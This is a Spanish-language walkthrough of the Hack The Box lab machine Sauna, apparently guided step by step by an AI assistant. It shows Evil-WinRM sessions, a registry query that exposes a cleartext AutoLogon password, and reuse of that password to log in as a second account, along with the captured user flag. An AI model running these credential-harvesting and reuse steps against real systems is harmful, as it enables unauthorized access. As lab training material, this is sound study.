Primary Dns Suffix . . . . . : EGOTISTICAL-BANK.LOCAL
Node Type . . . . . : Hybrid
IP Routing Enabled. . . . . : No
WINS Proxy Enabled. . . . . : No
DNS Suffix Search List. . . . . : EGOTISTICAL-BANK.LOCAL
htb
```

Ethernet adapter Ethernet0 2:

```
Connection-specific DNS Suffix . : .htb
Description . . . . . : vmxnet3 Ethernet Adapter
Physical Address. . . . . : 00-50-56-94-EA-F0
DHCP Enabled. . . . . : Yes
Autoconfiguration Enabled . . . : Yes
IPv6 Address. . . . . : dead:beef::165(Preferred)
Lease Obtained. . . . . : Thursday, April 23, 2026 10:52:13 AM
Lease Expires . . . . . : Thursday, April 23, 2026 12:52:12 PM
IPv6 Address. . . . . : dead:beef::7cc2:310a:b259:9b93(Preferred)
Link-local IPv6 Address . . . . : fe80::7cc2:310a:b259:9b93%7(Preferred)
IPv4 Address. . . . . : 10.129.95.180(Preferred)
Subnet Mask . . . . . : 255.255.0.0
Lease Obtained. . . . . : Thursday, April 23, 2026 10:52:15 AM
```

```

Lease Expires . . . . . : Thursday, April 23, 2026 12:52:15 PM
Default Gateway . . . . . : fe80::250:56ff:fe94:9b51%7
10.129.0.1
DHCP Server . . . . . : 10.10.10.2
DHCPv6 IAID . . . . . : 369119318
DHCPv6 Client DUID. . . . . : 00-01-00-01-31-7C-14-A4-00-50-56-94-EA-F0
DNS Servers . . . . . : 1.1.1.1
8.8.8.8
NetBIOS over Tcpip. . . . . : Enabled
Connection-specific DNS Suffix Search List :
htb
Evil-WinRM PS C:\Users\FSmith\Documents> systeminfo
Program 'systeminfo.exe' failed to run: Access is deniedAt line:1 char:1

```

1 systeminfo

1 systeminfo

Mode	LastWriteTime	Length	Name
------	---------------	--------	------

d-----	1/25/2020	1:05 PM	Administrator
d-----	1/23/2020	9:52 AM	FSmith
d-r---	1/22/2020	9:32 PM	Public
d-----	1/24/2020	4:05 PM	svc_loanmgr

```

Evil-WinRM PS C:\Users\FSmith\Documents> type C:\Users\FSmith\Desktop\user.txt
c06623afb7a5c08a412d732234887383
Evil-WinRM PS C:\Users\FSmith\Documents>

```

objetivo

Cerrar formalmente la fase de foothold con fsmith, interpretar la enumeración interna ya obtenida y fijar un siguiente paso único, corto y con alto valor para la escalada.

hechos verificados

La sesión remota con fsmith funciona y el acceso inicial queda plenamente confirmado.

El contexto exacto del usuario es:

1 egotisticalbank\fsmith

Los grupos observados no muestran, por ahora, privilegios administrativos directos. Lo relevante de verdad es:

1 BUILTIN\Remote Management Users, que explica el acceso por WinRM

1 grupos estándar de usuario autenticado

1 ausencia visible de grupos típicamente administrativos

El host es SAUNA y sigue encajando claramente como equipo unido al dominio EGOTISTICALBANK.

La lectura del flag de usuario ha funcionado, así que la fase de user queda cerrada.

La salida de C:\Users aporta una señal nueva y muy importante: además de Administrator y FSmith, existe perfil local de svc_loanmgr.

Ese perfil no demuestra por sí solo privilegios altos, pero sí demuestra que esa cuenta ha iniciado sesión o ha tenido contexto local en el sistema, lo cual la convierte en una pista de mucho más valor que seguir mirando grupos triviales de fsmith.

systeminfo devolvió "Access is denied". Eso es una observación real, pero no cambia la lectura principal del caso ni bloquea la siguiente decisión.

suposiciones

La inferencia principal es que fsmith es un usuario de bajo privilegio con acceso remoto permitido, pero no parece ser la cuenta final de trabajo para la siguiente fase.

La pista dominante ahora es svc_loanmgr. La existencia de su perfil local sugiere que puede tratarse de una cuenta de servicio o de operación con más valor que fsmith.

La hipótesis de trabajo más limpia es que el siguiente avance no saldrá de privilegios especiales de fsmith, sino de credenciales o configuración asociadas a otra cuenta presente en el sistema, especialmente svc_loanmgr.

método

Primero se toma la enumeración actual y se separa lo que es contextual de lo que realmente cambia la decisión.

Después se evita abrir varias ramas a la vez. No conviene dispersarse entre SMB, BloodHound, LDAP y otras comprobaciones todavía.

La señal más fuerte que ha aparecido en esta fase es el perfil de svc_loanmgr, así que el siguiente paso único debe orientarse a verificar si el sistema guarda configuración de inicio automático o credenciales asociadas a esa cuenta.

respuesta

La enumeración ha sido suficiente para tomar una decisión clara.

El hallazgo dominante ya no es que fsmith tenga WinRM, porque eso solo explica cómo se obtuvo el foothold. Lo importante ahora es que fsmith no muestra grupos de alto privilegio, mientras que el sistema sí revela la presencia local de otra cuenta mucho más interesante: svc_loanmgr.

Eso cambia la dirección del caso. La rama principal deja de ser "mirar qué puede hacer fsmith" y pasa a ser buscar si el sistema expone configuración o credenciales reutilizables relacionadas con svc_loanmgr.

El siguiente paso único más limpio es revisar la configuración de AutoLogon en el registro de Windows. Se propone esa verificación y no otra porque:

- 1 parte de una señal previa real: existe perfil local de una cuenta de servicio
- 1 es una comprobación corta
- 1 tiene poco ruido
- 1 puede revelar de forma directa usuario y contraseña si existe inicio automático configurado
- 1 no obliga todavía a herramientas más pesadas

Qué hallazgo domina ahora: fsmith tiene acceso remoto válido, pero la pista más valiosa es la presencia local de svc_loanmgr.

Qué rama principal sigue activa: enumeración interna post-foothold orientada a descubrir credenciales reutilizables de una cuenta con más valor.

Qué ramas secundarias quedan anotadas: privilegios locales de fsmith, artefactos del perfil y, más adelante, enumeración de permisos de dominio si aparece una segunda credencial.

Cuál es el siguiente paso único: comprobar si el sistema guarda configuración de AutoLogon asociada a svc_loanmgr.

comandos

```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

Se propone este comando porque la señal previa ya existe: hay una cuenta `svc_loanmgr` con perfil local en el sistema y eso justifica buscar si quedó configurada para inicio automático.

Qué hace: consulta la clave de Winlogon, donde Windows puede almacenar parámetros como:

- 1 AutoAdminLogon
- 1 DefaultUserName
- 1 DefaultDomainName
- 1 DefaultPassword

Qué se espera obtener: o bien una configuración inocua, o bien una combinación de valores que apunte a credenciales almacenadas o a un usuario configurado para logon automático.

Qué parte de la salida interesa de verdad:

- 1 si AutoAdminLogon está habilitado
- 1 qué cuenta aparece en DefaultUserName
- 1 si existe DefaultPassword
- 1 si el dominio asociado coincide con EGOTISTICALBANK

Cómo cambia la decisión siguiente:

- 1 si aparecen credenciales o una cuenta clara, la siguiente fase será validar ese nuevo contexto
- 1 si no aparece nada útil, entonces tocará elegir otra comprobación local corta orientada a secretos o artefactos del sistema

comprobaciones

Comprobar si en la salida aparecen explícitamente `DefaultUserName` y `DefaultPassword`.

Anotar si el nombre de usuario coincide con `svc_loanmgr` o con otra cuenta inesperada.

No sacar conclusiones por una sola clave aislada; lo importante es la combinación entre `AutoAdminLogon`, usuario, dominio y posible contraseña.

Si no aparece `DefaultPassword`, no forzar todavía una segunda rama grande; primero convendrá interpretar el resto de la salida.

notas para el writeup

El acceso con `fsmith` cerró la fase de foothold, pero la enumeración de grupos mostró un usuario de perfil bajo. El hallazgo verdaderamente útil apareció al revisar los perfiles locales del sistema: la presencia de `svc_loanmgr` sugirió la existencia de una segunda cuenta con más valor operativo, lo que justificó una revisión dirigida de la configuración de inicio automático en el registro.

Lección reutilizable: tras obtener un foothold válido en Windows, no siempre conviene centrarse en los privilegios inmediatos del usuario actual. A veces el salto real aparece al detectar otra cuenta presente en el sistema y comprobar si el propio host expone credenciales o configuración asociadas a ella.

Ejecutamos el bloque y revisamos la salida

Evil-WinRM PS C:\Users\FSmith\Documents> reg query

"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

```

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
AutoRestartShell    REG_DWORD    0x1
Background          REG_SZ       0 0 0
CachedLogonsCount   REG_SZ       10
DebugServerCommand  REG_SZ       no
DefaultDomainName    REG_SZ       EGOTISTICALBANK
DefaultUserName      REG_SZ       EGOTISTICALBANK\svc_loanmanager
DisableBackButton    REG_DWORD    0x1
EnableSIHostIntegration REG_DWORD    0x1
ForceUnlockLogon     REG_DWORD    0x0
LegalNoticeCaption   REG_SZ
LegalNoticeText      REG_SZ
PasswordExpiryWarning REG_DWORD    0x5
PowerdownAfterShutdown REG_SZ       0
PreCreateKnownFolders REG_SZ       {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk        REG_SZ       1
Shell               REG_SZ       explorer.exe
ShellCritical        REG_DWORD    0x0
ShellInfrastructure  REG_SZ       sihost.exe
SiHostCritical        REG_DWORD    0x0
SiHostReadyTimeOut   REG_DWORD    0x0
SiHostRestartCountLimit REG_DWORD    0x0
SiHostRestartTimeGap REG_DWORD    0x0
Userinit             REG_SZ       C:\Windows\system32\userinit.exe,
VMApplet             REG_SZ       SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled  REG_SZ       0
scremoveoption       REG_SZ       0
DisableCAD           REG_DWORD    0x1
LastLogOffEndTimePerfCounter REG_QWORD    0x8c9319f7
ShutdownFlags        REG_DWORD    0x8000022b
DisableLockWorkstation REG_DWORD    0x0
DefaultPassword       REG_SZ       Moneymakestheworldgoround!

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShells
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserDefaults
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\VolatileUserMgrKey

```

objective

Interpretar el hallazgo del registro, separar lo ya demostrado de la única duda que queda abierta y fijar un siguiente paso único antes de cambiar de usuario.

verified facts

La consulta al registro ha producido un hallazgo de mucho valor: el sistema guarda credenciales de AutoLogon en claro.

Los valores realmente importantes son estos:

- 1 DefaultDomainName = EGOTISTICALBANK
- 1 DefaultUserName = EGOTISTICALBANK\svc_loanmanager
- 1 DefaultPassword = Moneymakestheworldgoround!

Eso confirma que el host expone una segunda credencial reutilizable distinta de fsmith.

También queda verificado un detalle importante: existe una discrepancia entre el nombre visto antes en C:\Users y el que aparece ahora en el registro.

- 1 en C:\Users apareció svc_loanmgr
- 1 en Winlogon aparece svc_loanmanager

La contraseña ya no es una hipótesis. Es un hecho observado directamente en el sistema.

assumptions

La inferencia principal es que el siguiente salto del caso pasa por esta segunda cuenta, no por elevar privilegios con fsmith.

La única incertidumbre real ahora no es la contraseña, sino el nombre exacto de la cuenta operativa que debe usarse.

La explicación más razonable es que svc_loanmgr sea la cuenta real visible en el sistema y que svc_loanmanager refleje una forma más larga o una referencia asociada al AutoLogon, pero eso todavía debe verificarse antes de dar el siguiente salto.

method

Primero se toma el hallazgo del registro como evidencia dominante, porque revela una credencial en claro almacenada en el propio host.

Después se evita cometer un error típico: lanzarse a cambiar de usuario sin resolver antes la discrepancia del nombre de cuenta.

Por eso, el siguiente paso único no es todavía abrir una nueva sesión remota, sino confirmar cuál de los dos nombres existe realmente como cuenta válida.

answer

Este resultado es excelente.

El hallazgo dominante ya no es el acceso con fsmith, sino que el propio sistema ha revelado una credencial adicional en claro. Eso cambia por completo la fase actual: la ruta principal deja de ser enumeración básica del usuario actual y pasa a ser validación de una segunda cuenta con más valor operativo.

La contraseña Moneymakestheworldgoround! ya está confirmada como dato expuesto en el registro. Lo único que conviene resolver antes de avanzar es la discrepancia entre svc_loanmanager y svc_loanmgr.

Esa diferencia importa porque un error de nombre de usuario puede hacer parecer inválida una credencial que en realidad es buena. Así que el siguiente paso único correcto es confirmar cuál de las dos cuentas existe realmente en el sistema y cuál tiene sentido usar para el siguiente acceso.

Qué hallazgo domina ahora: el sistema expone una credencial de AutoLogon en claro asociada a una cuenta de servicio.

Qué rama principal sigue activa: enumeración post-foothold orientada a validar y reutilizar la segunda credencial hallada en el host.

Qué ramas secundarias quedan anotadas: privilegios locales de fsmith y revisión de artefactos del sistema, pero pasan a segundo plano frente a la nueva credencial expuesta.

Cuál es el siguiente paso único: resolver el nombre exacto de la cuenta válida entre svc_loanmanager y svc_loanmgr.

commands

```
net user svc_loanmgr  
net user svc_loanmanager
```

Por qué se proponen estos comandos:

La señal previa que lleva a usarlos es muy clara: el sistema ya ha dado una contraseña en claro, pero hay una discrepancia en el nombre de usuario.

Qué hacen:

- 1 comprueban si cada nombre corresponde a una cuenta real conocida por el sistema;
- 1 ayudan a distinguir entre nombre operativo real y nombre solo referenciado en el registro.

Qué se espera obtener:

- 1 que uno de los dos nombres devuelva información válida de cuenta;
- 1 y que el otro falle o no aporte resultados.

Qué parte de la salida interesa de verdad:

- 1 si la cuenta existe;
- 1 si aparece descripción útil;
- 1 si pertenece a grupos con valor operativo, especialmente acceso remoto.

Cómo cambia la decisión siguiente:

- 1 si svc_loanmgr existe y devuelve información válida, el siguiente paso será validar esa credencial en acceso remoto;
- 1 si existe svc_loanmanager, entonces se usará ese nombre exacto;
- 1 si ambos aparecen, se decidirá según el que encaje con grupos y contexto operativo.

checks

Comprobar cuál de los dos nombres devuelve información real de cuenta.

Anotar si la cuenta válida pertenece a Remote Management Users o a otro grupo con valor práctico inmediato.

No desechar la contraseña si uno de los dos nombres falla; aquí la duda está en el identificador exacto, no en la calidad del secreto encontrado.

writeup notes

La revisión del registro mostró un patrón clásico de mala práctica en Windows: credenciales de AutoLogon almacenadas en claro dentro de Winlogon. Ese hallazgo desplazó la atención desde el usuario inicial hacia una segunda cuenta con más potencial, pero antes de reutilizarla fue necesario resolver una discrepancia entre el nombre observado en el perfil local y el nombre mostrado por el registro.

Lección reutilizable: cuando un sistema expone una contraseña en claro, el primer impulso no debe ser probarla a ciegas, sino confirmar primero el identificador exacto de la cuenta asociada. Un pequeño error de nombre puede ocultar una credencial perfectamente válida.

Ejecutamos el bloque y revisamos la salida

```
Evil-WinRM PS C:\Users\FSmith\Documents> net user svc_loanmgr
User name                svc_loanmgr
Full Name                 L Manager
Comment
User's comment
Country/region code      000 (System Default)
Account active            Yes
Account expires           Never
Password last set        1/24/2020 4:48:31 PM
Password expires          Never
Password changeable       1/25/2020 4:48:31 PM
Password required         Yes
User may change password  Yes
Workstations allowed      All
Logon script
User profile
Home directory
Last logon                Never
```

Logon hours allowed All

```
Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.

Evil-WinRM PS C:\Users\FSmith\Documents> net user svc_loanmanager
net.exe : The user name could not be found.
+ CategoryInfo          : NotSpecified: (The user name could not be found.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
```

More help is available by typing NET HELPMSG 2221.

objetivo

Resolver la discrepancia del nombre de cuenta, confirmar cuál es la identidad operativa real asociada a la credencial hallada y fijar el siguiente paso único para cambiar a un contexto de usuario con más valor.

hechos verificados

La discrepancia ya ha quedado resuelta.

La cuenta real existente en el sistema es:

1 svc_loanmgr

La cuenta svc_loanmanager no existe.

Eso permite reinterpretar correctamente el hallazgo del registro: la contraseña expuesta es real, pero el nombre mostrado en DefaultUserName no coincide con el identificador operativo válido que reconoce el sistema.

También queda verificado que svc_loanmgr:

1 está activa

1 pertenece a Domain Users

1 pertenece al grupo local Remote Management Users (la salida aparece truncada como Remote Management Use, pero el grupo es reconocible)

Ese último punto es especialmente importante porque encaja directamente con una reutilización por WinRM.

suposiciones

La inferencia principal es que la contraseña hallada en AutoLogon debe probarse con la cuenta real svc_loanmgr, no con svc_loanmanager.

La hipótesis más fuerte ahora es que svc_loanmgr no solo existe, sino que probablemente permitirá acceso remoto por WinRM, ya que pertenece al grupo adecuado para ello.

Sigue pendiente de verificar una sola cosa: si la credencial completa

1 usuario: svc_loanmgr

1 contraseña: Moneymakestheworldgoround!

es operativa para abrir una nueva sesión remota.

método

Primero se toma el resultado de net user para cerrar la duda del identificador exacto.

Después se evita seguir enumerando con fsmith, porque la evidencia ya apunta a una cuenta mejor posicionada para continuar.

El siguiente paso único correcto es validar la nueva credencial en el servicio remoto que ya se sabe expuesto y utilizable en esta máquina: WinRM.

respuesta

Aquí aparece el cambio importante de fase.

Hasta ahora fsmith había servido como puerta de entrada y como usuario de observación. Pero el sistema ha revelado una segunda credencial con más valor, y ahora ya se sabe con precisión cuál es el nombre correcto de la cuenta asociada: svc_loanmgr.

La salida de `net user` hace dos cosas a la vez:

- 1 confirma que svc_loanmgr existe realmente
- 1 confirma que pertenece al grupo que explica una posible reutilización por WinRM

Eso convierte a svc_loanmgr en el nuevo hallazgo dominante.

La rama principal ya no debe centrarse en seguir exprimiendo a fsmith, sino en validar el salto a svc_loanmgr.

Qué hallazgo domina ahora: existe una segunda cuenta real, svc_loanmgr, asociada a la contraseña expuesta y con pertenencia compatible con acceso remoto por WinRM.

Qué rama principal sigue activa: reutilización de credenciales halladas localmente para cambiar a un contexto de usuario más valioso.

Qué ramas secundarias quedan anotadas: enumeración adicional de fsmith y revisión local de artefactos, pero pasan a segundo plano frente a la nueva credencial.

Cuál es el siguiente paso único: abrir una nueva sesión WinRM como svc_loanmgr usando la contraseña hallada en el registro.

comandos

```
evil-winrm -i 10.129.95.180 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
```

Por qué se propone este comando:

La señal previa es ya muy fuerte y está compuesta por tres piezas que encajan entre sí:

- 1 el registro expone una contraseña en claro
- 1 `net user` confirma que la cuenta real es svc_loanmgr
- 1 esa cuenta pertenece a Remote Management Users

Qué hace:

- 1 intenta abrir una nueva sesión remota con la segunda credencial hallada

Qué se espera obtener:

- 1 o bien una nueva shell remota válida como svc_loanmgr
- 1 o bien un fallo de autenticación o autorización que obligue a reinterpretar el alcance de la credencial

Qué parte de la salida interesa de verdad:

- 1 si aparece prompt remoto
- 1 si el usuario autenticado cambia de fsmith a svc_loanmgr

- 1 si el error, en caso de existir, apunta a contraseña incorrecta o a falta de permisos
Cómo cambia la decisión siguiente:
- 1 si entra, la siguiente fase pasará a centrarse en los privilegios y permisos de `svc_loanmgr` dentro del dominio
- 1 si no entra, la credencial seguirá siendo relevante, pero habrá que comprobar en qué superficie concreta tiene valor

comprobaciones

Comprobar que la nueva sesión se establece realmente como `svc_loanmgr`.

No cerrar todavía la sesión actual de `fsmith` hasta confirmar que la nueva funciona.

Si la nueva sesión entra, verificar de inmediato identidad y grupos para comparar el nuevo contexto con el de `fsmith`.

notas para el writeup

La discrepancia entre el nombre visto en el registro y el nombre real de la cuenta quedó resuelta mediante `net user`. Esa comprobación evitó un error de interpretación importante y permitió enlazar correctamente la contraseña expuesta con la cuenta operativa válida del sistema: `svc_loanmgr`.

Lección reutilizable: cuando una credencial aparece en claro pero el identificador del usuario genera dudas, conviene resolver primero el nombre real de la cuenta antes de probar acceso. En entornos Windows, una pequeña diferencia en el nombre puede separar una credencial aparentemente inútil de un acceso perfectamente válido.

Ejecutamos el bloque y revisamos la salida

```
> evil-winrm -i 10.129.95.180 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is un
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-co
Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\svc_loanmgr\Documents>
```

objetivo

Cerrar el cambio de contexto desde `fsmith` a `svc_loanmgr`, confirmar qué valor operativo real tiene esta segunda cuenta y preparar una única línea de trabajo para la siguiente fase de enumeración de privilegios en dominio.

hechos verificados

La autenticación por WinRM con la segunda credencial ha funcionado correctamente.

El prompt remoto confirma que ahora la sesión ya no pertenece a `fsmith`, sino a:

- 1 `svc_loanmgr`
Eso valida toda la cadena intermedia:
- 1 el registro expuso una contraseña en claro
- 1 la cuenta correcta era `svc_loanmgr`
- 1 esa cuenta pertenece a Remote Management Users
- 1 la credencial es reutilizable para acceso remoto real

Con esto queda confirmado que el salto lateral desde fsmith hacia svc_loanmgr es exitoso.

suposiciones

La inferencia principal es que svc_loanmgr tiene más valor operativo que fsmith, pero todavía no está demostrado en qué consiste exactamente ese valor.

También es razonable asumir que el siguiente avance no dependerá ya de credenciales locales, sino de permisos, delegaciones o derechos dentro del dominio.

La hipótesis de trabajo más limpia es que la siguiente fase útil será una enumeración AD orientada a privilegios efectivos de svc_loanmgr, no una revisión local genérica del host.

método

Primero se cierra formalmente el cambio de usuario, porque ya existe una segunda sesión remota válida.

Después se evita volver a enumeración local trivial o a ramas dispersas. La cuenta actual parece más interesante por su posición en el dominio que por privilegios locales evidentes.

Por eso, el siguiente paso único correcto es obtener un bloque corto de identidad y grupos desde la sesión actual para confirmar el contexto antes de pasar a enumeración de permisos de dominio.

respuesta

Perfecto. Aquí sí hay cambio de fase claro.

fsmith fue la puerta de entrada. svc_loanmgr es ahora el contexto de trabajo principal. Eso significa que la cadena ya no gira en torno a "conseguir acceso", sino en torno a descubrir qué puede hacer esta cuenta dentro del dominio.

No conviene todavía saltar directamente a múltiples herramientas o comprobaciones grandes sin fijar antes el nuevo contexto. Lo más limpio es confirmar identidad y grupos de svc_loanmgr y, con eso, decidir la siguiente enumeración de AD con base real.

Qué hallazgo domina ahora: svc_loanmgr proporciona una segunda sesión WinRM válida y pasa a ser el usuario principal del caso.

Qué rama principal sigue activa: enumeración de privilegios de dominio desde una cuenta con más valor operativo.

Qué ramas secundarias quedan anotadas: revisión local del host y análisis residual de fsmith, pero ambas pasan a segundo plano frente al nuevo contexto de svc_loanmgr.

Cuál es el siguiente paso único: confirmar identidad y grupos efectivos de svc_loanmgr desde la nueva sesión.

comandos

```
whoami  
whoami /groups  
whoami /priv
```

Por qué se proponen estos comandos:

La señal previa es clara: ya existe una nueva sesión válida y ahora interesa medir su valor real.

Qué hacen:

- 1 whoami confirma de forma explícita el contexto exacto del usuario actual.
- 1 whoami /groups muestra las pertenencias efectivas del usuario, que pueden orientar la siguiente fase.
- 1 whoami /priv ayuda a ver si existe algún privilegio local interesante, aunque la expectativa principal aquí está más en AD que en privilegios locales clásicos.

Qué se espera obtener:

- 1 confirmación limpia de que la sesión es realmente svc_loanmgr
- 1 grupos efectivos del usuario
- 1 posibles privilegios destacados o, al menos, la ausencia de ellos

Qué parte de la salida interesa de verdad:

- 1 pertenencias no triviales
- 1 diferencias claras respecto a fsmith
- 1 cualquier pista que justifique pasar a enumeración de permisos delegados en dominio

Cómo cambia la decisión siguiente:

- 1 si aparecen grupos o privilegios claramente útiles, se orientará la siguiente fase hacia ellos
- 1 si no aparecen señales locales fuertes, entonces la siguiente decisión lógica será una enumeración de derechos de dominio desde fuera o con herramientas específicas de AD

comprobaciones

Confirmar que whoami devuelve exactamente la cuenta esperada.

Comparar mentalmente whoami /groups con lo visto antes en fsmith para detectar si realmente ha aumentado el valor del contexto.

No sacar conclusiones demasiado pronto si whoami /priv parece normal; en cuentas de servicio de AD, el valor puede estar en permisos delegados de dominio que no se ven aquí de forma directa.

notas para el writeup

La credencial extraída del registro no solo permitió identificar una segunda cuenta, sino cambiar con éxito a un contexto de usuario más interesante dentro del entorno. En ese momento, la investigación dejó de centrarse en acceso inicial y pasó a enfocarse en qué derechos reales tenía esa cuenta dentro del dominio.

Lección reutilizable: en Windows/AD, el valor de una cuenta no siempre se aprecia por sus privilegios locales inmediatos. A veces el verdadero salto aparece cuando una cuenta aparentemente modesta tiene permisos delegados en el dominio que solo se revelan en una fase posterior de enumeración.

Ejecutamos el bloque y revisamos la salida

```
Evil-WinRM PS C:\Users\svc_loanmgr\Documents> whoami
egotisticalbank\svc_loanmgr
Evil-WinRM PS C:\Users\svc_loanmgr\Documents> whoami / groups
whoami.exe : ERROR: Invalid argument/option - '/'.
+ CategoryInfo          : NotSpecified: (ERROR: Invalid argument/option - '/':String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
Type "WHOAMI /?" for usage.
Evil-WinRM PS C:\Users\svc_loanmgr\Documents> whoami / priv
whoami.exe : ERROR: Invalid argument/option - '/'.
+ CategoryInfo          : NotSpecified: (ERROR: Invalid argument/option - '/':String) [], RemoteException
```



```
+ FullyQualifiedErrorId : NativeCommandError
Type "WHOAMI /?" for usage.
```

objective

Corregir el error sintáctico en la comprobación del contexto de `svc_loanmgr`, confirmar grupos y privilegios efectivos de la nueva sesión y decidir si el valor de esta cuenta está en privilegios locales o en permisos delegados de dominio.

verified facts

La nueva sesión remota está abierta correctamente como:

1 egotisticalbank\svc_loanmgr

La cuenta `svc_loanmgr` ya no es una hipótesis ni una referencia del registro: es un contexto remoto válido y operativo.

Los intentos con `whoami / groups` y `whoami / priv` no fallaron por falta de permisos, sino por sintaxis incorrecta. El error lo deja claro: `Invalid argument/option - '/'`.

Eso significa que todavía no se ha obtenido la información de grupos ni de privilegios; esa parte sigue pendiente.

assumptions

La inferencia principal es que el siguiente dato clave está en los grupos y privilegios efectivos de `svc_loanmgr`.

También es razonable asumir que, si no aparecen privilegios locales especialmente útiles, el valor real de esta cuenta probablemente estará en permisos o delegaciones dentro del dominio y no en el host local.

method

Primero se corrige el comando sin cambiar de herramienta ni de rama.

Después se revisa la salida buscando señales de valor real: grupos con capacidad operativa, privilegios locales relevantes o ausencia de ambos.

No se abren todavía ramas paralelas porque antes conviene cerrar esta comprobación básica del nuevo contexto.

answer

Aquí no ha fallado la enumeración; ha fallado la sintaxis.

En `whoami`, las opciones van sin espacio entre la barra y el argumento. Al escribir `whoami / groups` y `whoami / priv`, PowerShell terminó lanzando `whoami.exe` con argumentos inválidos. Es un error pequeño, pero importante de corregir porque todavía no se ha visto la parte que realmente interesa del nuevo contexto.

El hallazgo dominante sigue siendo que `svc_loanmgr` ya es una segunda sesión válida y que ahora toca medir su valor real.

Qué hallazgo domina ahora: existe una sesión remota válida como `svc_loanmgr`.

Qué rama principal sigue activa: enumeración de privilegios y contexto efectivo de `svc_loanmgr`.

Qué ramas secundarias quedan anotadas: análisis local adicional del host y, si no aparecen señales locales, futura enumeración de permisos de dominio.

Cuál es el siguiente paso único: repetir correctamente la comprobación de grupos y privilegios de `svc_loanmgr`.

commands

```
whoami
whoami /groups
whoami /priv
```

Por qué se proponen estos comandos:

```
whoami se repite para dejar trazabilidad limpia del contexto antes de seguir.
whoami /groups se usa porque la señal previa es que esta cuenta probablemente vale más por sus pertenencias o
whoami /priv sirve para comprobar si el usuario tiene privilegios locales destacados. No se espera necesariamente
```

Qué se espera obtener:

- 1 confirmación limpia del usuario actual
- 1 lista de grupos efectivos
- 1 lista de privilegios del token

Qué parte de la salida interesa de verdad:

- 1 grupos fuera de lo común
- 1 diferencias respecto a fsmith
- 1 privilegios habilitados o potencialmente útiles
- 1 en su ausencia, una señal clara de que la siguiente fase debe mirar al dominio y no al host

Cómo cambia la decisión siguiente:

- 1 si aparecen grupos o privilegios fuertes, la siguiente fase se centrará en ellos
- 1 si no aparece nada especial, el siguiente paso lógico será pasar a enumeración de permisos delegados en dominio

checks

Comprobar que whoami sigue devolviendo egotisticalbank\svc_loanmgr.

Revisar whoami /groups buscando pertenencias distintas a las de un usuario remoto estándar.

Revisar whoami /priv para distinguir entre privilegios presentes pero deshabilitados y ausencia total de valor local.

No interpretar aún la cuenta como "sin valor" si la salida parece normal; en este tipo de caso, el verdadero peso puede estar en AD.

writeup notes

El primer intento de revisar grupos y privilegios de svc_loanmgr falló por una cuestión de sintaxis, no por restricciones del sistema. Corregido ese detalle, la comprobación correcta permite decidir si el valor de la cuenta está en privilegios locales del host o en permisos delegados dentro del dominio.

Lección reutilizable: en una fase de post-explotación, un error pequeño de sintaxis puede parecer un bloqueo técnico cuando en realidad solo impide leer la evidencia. Antes de reinterpretar el caso, conviene confirmar que el comando se ha ejecutado exactamente como se pretendía.

Ejecutamos el bloque y revisamos la salida

```
Evil-WinRM PS C:\Users\svc_loanmgr\Documents> whoami
egotisticalbank\svc_loanmgr
```

```
Evil-WinRM PS C:\Users\svc_loanmgr\Documents> whoami /groups
```

GROUP INFORMATION

Group Name	Type	SID	Attributes
Everyone	Well-known group	S-1-1-0	Mandatory group, Enabled by default
BUILTIN\Remote Management Users	Alias	S-1-5-32-580	Mandatory group, Enabled by default
BUILTIN\Users	Alias	S-1-5-32-545	Mandatory group, Enabled by default
BUILTIN\Pre-Windows 2000 Compatible Access	Alias	S-1-5-32-554	Mandatory group, Enabled by default
NT AUTHORITY\NETWORK	Well-known group	S-1-5-2	Mandatory group, Enabled by default
NT AUTHORITY\Authenticated Users	Well-known group	S-1-5-11	Mandatory group, Enabled by default
NT AUTHORITY\This Organization	Well-known group	S-1-5-15	Mandatory group, Enabled by default
NT AUTHORITY\NTLM Authentication	Well-known group	S-1-5-64-10	Mandatory group, Enabled by default
Mandatory Label\Medium Plus Mandatory Level Label		S-1-16-8448	

```
Evil-WinRM PS C:\Users\svc_loanmgr\Documents> whoami /priv
```

PRIVILEGES INFORMATION

Privilege Name	Description	State
SeMachineAccountPrivilege	Add workstations to domain	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled

objective

Interpretar el contexto real de `svc_loanmgr`, distinguir entre privilegios locales y valor en dominio, y fijar un siguiente paso único que permita descubrir si esta cuenta tiene permisos delegados útiles en Active Directory.

verified facts

La sesión actual está abierta correctamente como:

`egotisticalbank\svc_loanmgr`

Los grupos efectivos observados son, en esencia, los mismos que ya se habían visto con `fsmith`:

- 1 Remote Management Users
- 1 Users
- 1 Pre-Windows 2000 Compatible Access
- 1 grupos estándar de autenticación

No aparecen grupos locales administrativos ni pertenencias que, por sí solas, expliquen una escalada local inmediata.

Los privilegios observados tampoco apuntan a una vía local dominante. Lo relevante es:

- 1 SeMachineAccountPrivilege habilitado
- 1 SeChangeNotifyPrivilege habilitado
- 1 SeIncreaseWorkingSetPrivilege habilitado

No aparecen privilegios clásicos de alto impacto local como `SeImpersonatePrivilege`, `SeBackupPrivilege`, `SeRestorePrivilege`, `SeDebugPrivilege` o similares.

